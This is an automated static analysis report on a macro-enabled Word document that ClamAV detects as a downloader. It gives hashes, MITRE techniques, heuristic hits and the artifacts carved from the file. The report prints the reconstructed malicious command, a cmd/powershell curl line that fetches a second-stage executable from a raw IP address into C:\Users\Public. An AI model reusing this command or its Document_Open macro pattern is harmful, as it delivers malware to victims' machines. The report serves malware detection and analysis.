Doc.Downloader.Valyria-10003550-0 — Office (OOXML) / .DOC malware analysis

Static analysis result for SHA-256 7fb463c1449236d0…

MALICIOUS

Office (OOXML) / .DOC

16.0 KB Created: 2022-12-12 01:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-12-12
MD5: 03cea7c49abe78863ae2644ac77c8efb SHA-1: 59edd4b3c523af71219fff0e15f8daa6ec11783d SHA-256: 7fb463c1449236d04a50a99fc18047f0e51718428c7b858c7b83e5e19f1c5561
302 Risk Score

Malware Insights

Doc.Downloader.Valyria-10003550-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The file contains a Document_Open VBA macro that uses GetObject to execute a command. This command, reconstructed as 'cmd /c powershell/W 01 curl http://195.201.101.146/12341rgyxdo5qe5rgg435g4tr.yxdo5qe5^xyxdo5qe5 -o C:\Users\Public\43et5rgr6hty6h76tuyr6t.exe', downloads a second-stage payload from the specified URL to 'C:\Users\Public\43et5rgr6hty6h76tuyr6t.exe'. The ClamAV detection 'Doc.Downloader.Valyria-10003550-0' further supports this analysis.

Heuristics 8

  • ClamAV: Doc.Downloader.Valyria-10003550-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-10003550-0
  • ClamAV detection on extracted artifact critical EXTRACTED_FILE_CLAMAV
    ClamAV flagged at least one file extracted from inside this sample. Even when the wrapping document carries no AV detection of its own, a hit on the carved artifact is a strong indicator the sample is a delivery vehicle.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
    • http://schemas.microsoft.com/office/drawing/2014/chartex
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartex
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartex
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/drawing/2016/ink
    • http://schemas.microsoft.com/office/drawing/2017/model3d
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/officeDocument/2006/math
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
    • http://schemas.openxmlformats.org/wordprocessingml/2006/main
    • http://schemas.microsoft.com/office/word/2010/wordml
    • http://schemas.microsoft.com/office/word/2012/wordml
    • http://schemas.microsoft.com/office/word/2018/wordml/cex
    • http://schemas.microsoft.com/office/word/2016/wordml/cid
    • http://schemas.microsoft.com/office/word/2018/wordml
    • http://schemas.microsoft.com/office/word/2015/wordml/symex
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInk
    • http://schemas.microsoft.com/office/word/2006/wordml
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShape

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
0ca644a837a128addd2caaed9768681c2599f0ee8aea4d7bdb431bc60ea963cb		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1032 bytes
vbaProject_00.bin
8bd3ca431afd88156656d743eb8b4b9b892f5524cf4553e7303e10065027f334		 vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
Detection
ClamAV: Doc.Downloader.Valyria-10003550-0
Obfuscation or payload: unlikely

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